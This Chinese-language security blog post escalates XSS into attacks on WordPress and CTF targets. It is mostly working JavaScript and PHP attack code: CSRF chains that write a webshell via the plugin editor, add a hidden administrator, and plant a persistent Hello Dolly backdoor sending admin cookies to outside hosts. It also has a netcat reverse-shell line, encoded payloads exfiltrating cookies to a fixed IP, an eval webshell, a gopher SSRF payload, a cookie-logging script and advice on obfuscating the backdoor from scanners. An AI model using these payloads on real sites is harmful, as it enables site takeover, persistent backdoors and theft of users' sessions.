<
XSS-trick点到面的拓展
>
上一篇

代码审计之ThinkSNS v4.6.0最新版前台getshell
下一篇

强网杯线上赛

XSS-trick点到面的拓展

一般情况下的利用

1.反射XSS

输入

<script>alert(/xss/)</script>

等类似payload直接在页面触发,或在url中如

http://example.com/?test=<script>alert(/xss/)</script>

访问后被触发

2.存储XSS

构造XSS的payload被存储且在公开位置浏览时被触发,一般可盗取他人cookie

3.self-xss

一般存在于用户私有权限内不被他人所能访问,且只能用户本人触发。

4.self-xss+csrf

点:

<img src="xx.jpg">

单引号转义

<img src=”xx.jpg"onmouseover=alert(1) alt=”>需根据具体业务环境

但应号闭合

dnslog+xss

5.xss to rce

这里参考大佬lorexxar文章xss部分。

http://www.northity.com/2018/10/23/XSSme%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/

6.Xss to Rce

在wordpress的后台,有一个编辑插件的功能,通过这个功能,我们可以直接修改后台插件文件夹的任何内容。

而在默认下载的Wordpress中,都会包含Hello Dolly插件,通过修改这个插件内容并启动插件,我们可以执行想要的任何代码。

但在这之前,我们首先要了解一下,wordpress关于csrf的防御机制,在wordpress中引入了_wpnonce作为判断请求来源的参数。

在一般涉及到修改更新等操作的时候,会调用check_admin_referer()函数来判断传入的wpnonce是否和该操作计算的nonce值相等,后台部分代码如下:

function wp_verify_nonce( $nonce, $action = -1 ) {
	$nonce = (string) $nonce;
	$user = wp_get_current_user();
	$uid = (int) $user->ID;
	if ( ! $uid ) {
		/**
		 * Filters whether the user who generated the nonce is logged out.
		 *
		 * @since 3.5.0
		 *
		 * @param int    $uid    ID of the nonce-owning user.
		 * @param string $action The nonce action.
		 */
		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
	}

	if ( empty( $nonce ) ) {
		return false;
	}

	$token = wp_get_session_token();
	$i = wp_nonce_tick();

	// Nonce generated 0-12 hours ago
	$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
	if ( hash_equals( $expected, $nonce ) ) {
		return 1;
	}

	// Nonce generated 12-24 hours ago
	$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
	if ( hash_equals( $expected, $nonce ) ) {
		return 2;
	}

这其中i参数固定,action参数为不同操作的函数名,uid为当前用户的id,token为当前用户cookie中的第三部分。

也就是说,即便不方便读取,我们也可以使用直接计算的方式来获得wpnonce的值,完成攻击。

这里我们使用从页面中读取wpnonce的方式,nonce在页面中是这样的

<input type="hidden" id="_wpnonce" name="_wpnonce" value="00b19dcb1a" />

代码如下

url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';

a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';

b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

通过这段js,我们可以向hello.php写入php code。

http://127.0.0.1/wordpress4.8/wp-content/plugins/hello.php

image.png-17.5kB

getshell,如果服务端权限没有做设置,我们可以直接system弹一个shell回来,导致严重的命令执行。

s = '<?=`nc localhost 5855 -e /bin/bash`;';

但正如XSS漏洞存在的意义,getshell或者rce本身都很难替代xss所能达到的效果,我们可以配合php的代码执行,来继续拓展xss的攻击面。

xss的前端攻击

在wordpress中,对用户的权限有着严格的分级,我们可以构造请求来添加管理员权限的账号,用更隐秘的方式来控制整个站点。

poc:

url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/user-new.php';
user = 'ddog';
pass = 'ddog';
email = 'ddog@ddog.com';

a = new XMLHttpRequest();
a.open('GET', url+p, 0);
a.send();

ss = '_wpnonce_create-user=' + /nonce_create-user" value="([^"]*?)"/.exec(a.responseText)[1] +
'&action=createuser&email='+email+'&pass1='+pass+'&pass1-text='+pass+'&pass2='+pass+'&pw_weak=on&role=administrator&user_login='+user;

b = new XMLHttpRequest();
b.open('POST', url+p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

后台已经被添加了新的管理员账号 image.png-8.5kB

但即便是我们通过添加新的管理员账号获取了网站的管理员权限,我们还是不可避免的留下了攻击痕迹,但其实我们通过更隐秘的方式获取admin账号的cookie。

还记得上文中提到的php代码执行吗,利用注入页面的phpinfo,我们可以获取httponly的cookie。

image.png-34.9kB

当然,我们仍然需要构造连接整个攻击过程的js代码。

// 写入phpinfo
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';

a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';

b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

// 请求phpinfo
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      	p_url = url + 'wp-content/plugins/hello.php';

		c = new XMLHttpRequest();
		c.open('GET', p_url, 0);
		c.send();

		sss = /HTTP_COOKIE <\/td><td class="v">[\w=;% \-\+\s]+<\/td/.exec(c.responseText)

		// 将获取到的cookie传出
		var d = new XMLHttpRequest(); 
		d.open('POST', 'http://xxx', true); 
		d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		d.send('cookie='+sss)
   }
}

image.png-56.9kB

成功收到了来自目标的cookie。

虽然我们成功的收到了目标的cookie,但是这个cookie可能在一段时间之后就无效了,那么怎么能把这样的一个后门转化为持久的攻击呢。这里我还是建议使用hello holly这个插件。

这个插件本身是一个非常特殊的插件,在启用情况下,这个插件会被各个页面所包含,但细心的朋友可能会发现,在前面的攻击过程中,由于我们不遵守插件的页面格式,页面内容被替换为<?php phpinfo();?>的过程中,也同样的不被识别为插件,我们需要将页面修改为需要的页面格式,并插入我们想要的代码。

当hello.php为这样时,应该是最简页面内容

<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/

那么我们来构造完整的攻击请求

1、构造xss攻击链接->管理员点击->修改插件目录的hello.php->启动hello, holly插件->访问首页->触发攻击 2、hello.php页面直接获取cookie发出。

hello.php

<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
<script>
var d = new XMLHttpRequest(); 
d.open('POST', 'http://xxx', true); 
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE))?>');
</script>

这部分的代码看似简单,实际上还有很大的优化空间,就比如: 1、优化执行条件:通过和远控(xss平台)交互,获取时间戳,和本地时间做对比,如果时间不符合要求不执行,避免管理员在后台的多次访问导致xss平台爆炸。 2、通过代码混淆等方式,将代码混淆入原本的代码中,避免安全类防御工具在站内扫面时发现此页面。

这里我就不做深究了,完整的写入poc如下

// 写入后门
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '%3C%3Fphp%0A%2f%2a%0APlugin%20Name%3A%20Hello%20Dolly%0AVersion%3A%201.6%0A%2a%2f%0A%3F%3E%0A%3Cscript%3E%0Avar%20d%20%3D%20new%20XMLHttpRequest%28%29%3B%20%0Ad.open%28%27POST%27%2C%20%27http%3A%2f%2f0xb.pw%27%2C%20true%29%3B%20%0Ad.setRequestHeader%28%22Content-type%22%2C%22application%2fx-www-form-urlencoded%22%29%3B%0Ad.send%28%27cookie%3D%3C%3Fphp%20echo%20urlencode%28implode%28%27%23%27%2C%20%24_COOKIE%29%29%3F%3E%27%29%3B%0A%3C%2fscript%3E';

a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();

ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';

b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);

// 开启插件
b.onreadystatechange = function(){
	if (this.readyState == 4) {
		// 解开启插件的请求回来
		c = new XMLHttpRequest();
		c.open('GET', url+'wp-admin/plugins.php', 0);
		c.send();

		sss = /(data-plugin="hello.php)[\w\s"\'<>=\-选择你好多莉\/[\].?&;]+/.exec(c.responseText);
		sss = /plugins.php([\w.?=&;]+)/.exec(sss)[0];
		sss = sss.replace(/&amp;/gi, '&')
		
		// 开启插件
		d = new XMLHttpRequest();
		d.open('GET', url+'wp-admin/'+sss, 0);
		d.send();

		// 跳回首页
		setTimeout('location.href='+url+'wp-admin/',2000);
   }
}

image.png-39.8kB

image.png-25.1kB

事实上,由于wordpress的特殊性,我们可以通过xss来请求安装插件来简化上面的攻击链,简化整个流程,当我们访问:

http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=wp-crontrol&_wpnonce=391ece6c0f

wp就会自动安装插件,如果我们将包含恶意代码的模块上传到插件库中,通过上述请求自动安装插件,再启用插件,那么一样可以完整整个攻击。

由以上拓展CSRF+XSS-RCE

参考:wordpress5.1 csrf to rce

6.XSS+CSRF读取源码(ssrf)

原始payload样板为

<svg/onload="javascript:alert(1)">
<svg/onload=alert(1)>

实体编码下其中一个

<svg/onload="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x68;&#x72;&#x65;&#x66;&#x3D;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x32;&#x33;&#x2E;&#x32;&#x30;&#x37;&#x2E;&#x31;&#x34;&#x2E;&#x34;&#x35;&#x3A;&#x37;&#x37;&#x37;&#x37;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;">

src属性已经禁用js伪协议了。。之前也不知道被哪篇文章误导了,坑了我好久,果然实践才是检验真理的唯一标准。

其实这也是我屡试不爽的payload 成功打到cookie image

FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}

然后有个提示,FLAG_2=IN_THE_REDIS 应该是flag2在redis中的意思

先用admin的cookie尝试登陆一下 发现只允许local image 改XFF是绕不过去的,而且这种设计XSS题一般思路都是用XSS去读源码 有点类似网鼎高校组那一场 直接尝试读一下后台的源码

<svg/onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)">

同理直接编码

<svg/onload="&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x32;&#x33;&#x2E;&#x32;&#x30;&#x37;&#x2E;&#x31;&#x34;&#x2E;&#x34;&#x35;&#x3A;&#x37;&#x37;&#x37;&#x37;&#x2F;&#x3F;&#x27;&#x2B;&#x62;&#x74;&#x6F;&#x61;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x62;&#x6F;&#x64;&#x79;&#x2E;&#x69;&#x6E;&#x6E;&#x65;&#x72;&#x48;&#x54;&#x4D;&#x4C;&#x29;
">

image

AJAX读取源码

这里就必须用AJAX读源码了,和网鼎一样的套路

<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

扩展攻击面-》SSRF层面

常见攻击面

扩展攻击面

参考文章

主要讲同gopher协议一起运用的攻击面,gopher协议可以说是非常的万金油了 gopher协议的扩展攻击面在之前长亭的文章中已经写得很详细了 我这里主要讲一下如何通过抓包去构造,以及其中的一些具体细节。

通过gopher发送post数据包#

gopher协议是可以发送post包的,怎么发送呢 抓包编码构造即可 比如,内网有一个exp.php

<?php 
eval($_POST['a']);
?>

那我们在本地搭建环境访问并抓包 file

找到这个请求包并以原始数据显示

file 写个脚本编码一下

import urllib
from urllib.parse import quote
s='xxxx'
len=len(s)
p=''
for i in range(len)[::2]:
    p+=urllib.parse.quote(chr(int(s[i:i+2],16)))
print(p)

最终得到的payload为

gopher://127.0.0.1:80/_POST%20/exp.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Linux%3B%20Android%209.0%3B%20SAMSUNG-SM-T377A%20Build/NMF26X%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/72.0.3626.109%20Mobile%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AReferer%3A%20http%3A//127.0.0.1/exp.php%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2025%0D%0AConnection%3A%20keep-alive%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Aa%3Dsystem%2528%2522id%2522%2529%253B

本地curl发包测试一下 file 后续可以反弹shell

通过gopher攻击内网数据库#

redis#

这个的话算是比较常规的情况了,hackme上有道非常经典的题目 XSS+SSRF+Redis 之前博客有写过wp http://www.northity.com/2018/10/23/XSSme%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/ 所以这里再就gopher协议攻击redis做进一步的分析 其实也就是在hackme题目上再深入一点,写入一个shell并反弹 然后写到这儿发现先知已经有师傅把SSRF+Redis总结得很详细了 所以直接上连接吧 https://xz.aliyun.com/t/1800

SSRF gopher构造 rce payload 生成工具 https://github.com/tarunkant/Gopherus>

XSS+逻辑漏洞

1)账户后台存在反射XSS

如:http://xxx/user_admin/?parm=<script s >alert(1)</script>

http://targetSite.com/data/api/oauth/connect.php?method=unknownmethod%3Cscript%3Ealert(1)%3C/script%3E

2)知道对方账户的邮箱账户

3)攻击者向受害者的邮箱发送可触发XSS漏洞的超链接(该反射型xss漏洞可导致受害者Cookie泄漏)

4)攻击者点击超链接(受害者的cookie被传输给攻击者搭建的网站)

http://xxx/user_admin/?parm=<script src=http://evil.com/ReflectiveXSS.js >clicke me</script>

该PHP网站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”这3个文件构成

ReflectiveXSS.js的代码如下:

//通过指定的名称'img'创建img元素

var img = document.createElement('img');

img.width = 0;

img.height = 0;

//将img元素的src属性指向脚本文件ReflectiveXSS.pho

//将cookie信息的字符串作为URI组件进行编码,然后用victimcookie参数传递

img.src = 'http://targetsite.com/ReflectiveXSS.php?victimcookie='+encodeURIComponent(document.cookie);

ReflectiveXSS.php的代码如下:

<?php $cookie = $_GET['cookie']; 
$ip = getenv ('REMOTE_ADDR'); 
$time = date('Y-m-d g:i:s'); 
$fp = fopen("cookie.txt","a"); 
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n"); 
fclose($fp); ?> 

最后给出一个比较好的xss payload

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

Top
Foot